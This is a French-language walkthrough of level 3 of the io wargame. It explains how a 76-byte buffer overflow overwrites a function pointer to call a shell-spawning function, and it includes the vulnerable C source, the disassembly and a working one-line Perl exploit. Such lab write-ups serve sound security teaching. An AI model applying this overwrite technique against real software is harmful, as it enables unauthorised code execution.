Niveau 3 : Buffer overflow, part 1

Enfin, on devient des 7r00 h4><0rZ qui exploitent des buffer overflows. :D Encore une fois, on a le code source :

level3@io:~$ cat /levels/level03.c 
//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
{
        puts("Win.");
        execl("/bin/sh", "sh", NULL);
}
void bad()
{
        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
        void (*functionpointer)(void) = bad;
        char buffer[50];

        if(argc != 2 || strlen(argv[1]) < 4)
                return 0;

        memcpy(buffer, argv[1], strlen(argv[1]));
        memset(buffer, 0, strlen(argv[1]) – 4);

        printf("This is exciting we're going to %p\n", functionpointer);
        functionpointer();

        return 0;
}

Donc il faut trouver un moyen d’appeler la fonction good()

On a un joli buffer overflow par la fonction memcpy(), et on voit qu’ensuite le code appelle la fonction dont l’adresse est dans functionpointer. Le code y stocke l’adresse de la fonction bad(), et il faut écrire par-dessus pour y mettre l’adresse de la fonction good(). Comme pour le niveau 1, on fait un objdump pour voir comment tout ça est fichu.

level3@io:~$ objdump -M intel -d /levels/level03 | nl
[...]
   128	08048474 <good>:
   129	 8048474:	55                   	push   ebp
   130	 8048475:	89 e5                	mov    ebp,esp
   131	 8048477:	83 ec 18             	sub    esp,0x18
   132	 804847a:	c7 04 24 60 86 04 08 	mov    DWORD PTR [esp],0x8048660
   133	 8048481:	e8 36 ff ff ff       	call   80483bc <puts@plt>
   134	 8048486:	c7 44 24 08 00 00 00 	mov    DWORD PTR [esp+0x8],0x0
   135	 804848d:	00 
   136	 804848e:	c7 44 24 04 65 86 04 	mov    DWORD PTR [esp+0x4],0x8048665
   137	 8048495:	08 
   138	 8048496:	c7 04 24 68 86 04 08 	mov    DWORD PTR [esp],0x8048668
   139	 804849d:	e8 da fe ff ff       	call   804837c <execl@plt>
   140	 80484a2:	c9                   	leave  
   141	 80484a3:	c3                   	ret    
       
   142	080484a4 <bad>:
   143	 80484a4:	55                   	push   ebp
   144	 80484a5:	89 e5                	mov    ebp,esp
   145	 80484a7:	83 ec 18             	sub    esp,0x18
   146	 80484aa:	c7 44 24 08 74 84 04 	mov    DWORD PTR [esp+0x8],0x8048474
   147	 80484b1:	08 
   148	 80484b2:	c7 44 24 04 a4 84 04 	mov    DWORD PTR [esp+0x4],0x80484a4
   149	 80484b9:	08 
   150	 80484ba:	c7 04 24 80 86 04 08 	mov    DWORD PTR [esp],0x8048680
   151	 80484c1:	e8 e6 fe ff ff       	call   80483ac <printf@plt>
   152	 80484c6:	c9                   	leave  
   153	 80484c7:	c3                   	ret    
       
   154	080484c8 <main>:
   155	 80484c8:	55                   	push   ebp
   156	 80484c9:	89 e5                	mov    ebp,esp
   157	 80484cb:	83 ec 78             	sub    esp,0x78
   158	 80484ce:	83 e4 f0             	and    esp,0xfffffff0
   159	 80484d1:	b8 00 00 00 00       	mov    eax,0x0
   160	 80484d6:	29 c4                	sub    esp,eax
   161	 80484d8:	c7 45 f4 a4 84 04 08 	mov    DWORD PTR [ebp-0xc],0x80484a4
   162	 80484df:	83 7d 08 02          	cmp    DWORD PTR [ebp+0x8],0x2
   163	 80484e3:	75 17                	jne    80484fc <main+0x34>
   164	 80484e5:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
   165	 80484e8:	83 c0 04             	add    eax,0x4
   166	 80484eb:	8b 00                	mov    eax,DWORD PTR [eax]
   167	 80484ed:	89 04 24             	mov    DWORD PTR [esp],eax
   168	 80484f0:	e8 a7 fe ff ff       	call   804839c <strlen@plt>
   169	 80484f5:	83 f8 03             	cmp    eax,0x3
   170	 80484f8:	76 02                	jbe    80484fc <main+0x34>
   171	 80484fa:	eb 09                	jmp    8048505 <main+0x3d>
   172	 80484fc:	c7 45 a4 00 00 00 00 	mov    DWORD PTR [ebp-0x5c],0x0
   173	 8048503:	eb 74                	jmp    8048579 <main+0xb1>
   174	 8048505:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
   175	 8048508:	83 c0 04             	add    eax,0x4
   176	 804850b:	8b 00                	mov    eax,DWORD PTR [eax]
   177	 804850d:	89 04 24             	mov    DWORD PTR [esp],eax
   178	 8048510:	e8 87 fe ff ff       	call   804839c <strlen@plt>
   179	 8048515:	89 44 24 08          	mov    DWORD PTR [esp+0x8],eax
   180	 8048519:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
   181	 804851c:	83 c0 04             	add    eax,0x4
   182	 804851f:	8b 00                	mov    eax,DWORD PTR [eax]
   183	 8048521:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
   184	 8048525:	8d 45 a8             	lea    eax,[ebp-0x58]
   185	 8048528:	89 04 24             	mov    DWORD PTR [esp],eax
   186	 804852b:	e8 5c fe ff ff       	call   804838c <memcpy@plt>
   187	 8048530:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
   188	 8048533:	83 c0 04             	add    eax,0x4
   189	 8048536:	8b 00                	mov    eax,DWORD PTR [eax]
   190	 8048538:	89 04 24             	mov    DWORD PTR [esp],eax
   191	 804853b:	e8 5c fe ff ff       	call   804839c <strlen@plt>
   192	 8048540:	83 e8 04             	sub    eax,0x4
   193	 8048543:	89 44 24 08          	mov    DWORD PTR [esp+0x8],eax
   194	 8048547:	c7 44 24 04 00 00 00 	mov    DWORD PTR [esp+0x4],0x0
   195	 804854e:	00 
   196	 804854f:	8d 45 a8             	lea    eax,[ebp-0x58]
   197	 8048552:	89 04 24             	mov    DWORD PTR [esp],eax
   198	 8048555:	e8 02 fe ff ff       	call   804835c <memset@plt>
   199	 804855a:	8b 45 f4             	mov    eax,DWORD PTR [ebp-0xc]
   200	 804855d:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
   201	 8048561:	c7 04 24 c0 86 04 08 	mov    DWORD PTR [esp],0x80486c0
   202	 8048568:	e8 3f fe ff ff       	call   80483ac <printf@plt>
   203	 804856d:	8b 45 f4             	mov    eax,DWORD PTR [ebp-0xc]
   204	 8048570:	ff d0                	call   eax
   205	 8048572:	c7 45 a4 00 00 00 00 	mov    DWORD PTR [ebp-0x5c],0x0
   206	 8048579:	8b 45 a4             	mov    eax,DWORD PTR [ebp-0x5c]
   207	 804857c:	c9                   	leave  
   208	 804857d:	c3                   	ret    
   209	 804857e:	90                   	nop
   210	 804857f:	90                   	nop
[...]

Première chose à remarquer, ligne 128, l’adresse de la fonction good() est 0x08048474. L’adresse de la fonction bad() (ligne 142) est 0x080484a4, et on voit donc qu’il nous suffit de remplacer le dernier octet de la valeur de functionpointer par un octet 0x74 (lequel correspond au caractère t).

Ensuite, il faut savoir combien d’octets on va devoir écrire dans le buffer avant d’atteindre l’adresse où l’on doit écrire notre t. On voit dans le code source que buffer est le premier argument de l’appel à memcpy(). Dans le désassemblage, on voit lignes 184-185 que le premier argument de l’appel à memcpy() est ebp-0x58, et lignes 203-204 que l’adresse de functionpointer est ebp-0xc. Il y a donc exactement 0x58-0xc octets entre le premier octet de buffer et le premier octet de functionpointer. En décimal, cela fait :

level3@io:~$ rax 0x58
88
level3@io:~$ rax 0xc
12

88-12 = 76 octets. La dernière chose à remarquer et que l’architecture sur laquelle on travaille (x86) est little-endian (on dit apparemment “petit-boutiste” en bon français :D), donc le premier octet stocké en mémoire est le dernier octet de la valeur représentée. Cela nous arrange bien car ça signifie que le premier octet qu’on va rencontrer est bien celui qu’on veut modifier.

Pour récapituler, on doit donc écrire dans le buffer 76 octets quelconques pour atteindre l’endroit où functionpointer est stocké, puis un octet t pour remplacer l’adresse de la fonction bad() par celle de la fonction good(). Pour éviter de frapper 76 fois une touche quelconque du clavier (ou de faire une erreur et d’entrer 75 ou 77 caractères), on peut utiliser Perl (il faut bien qu’il serve à quelque chose…) comme ceci :

level3@io:~$ perl -e 'print "1"x76'
1111111111111111111111111111111111111111111111111111111111111111111111111111

Et donc :

level3@io:~$ /levels/level03 $(perl -e 'print "1"x76')t
This is exciting we're going to 0x8048474
Win.
sh-4.1$ 

Leave a Reply

Your email address will not be published. Required fields are marked *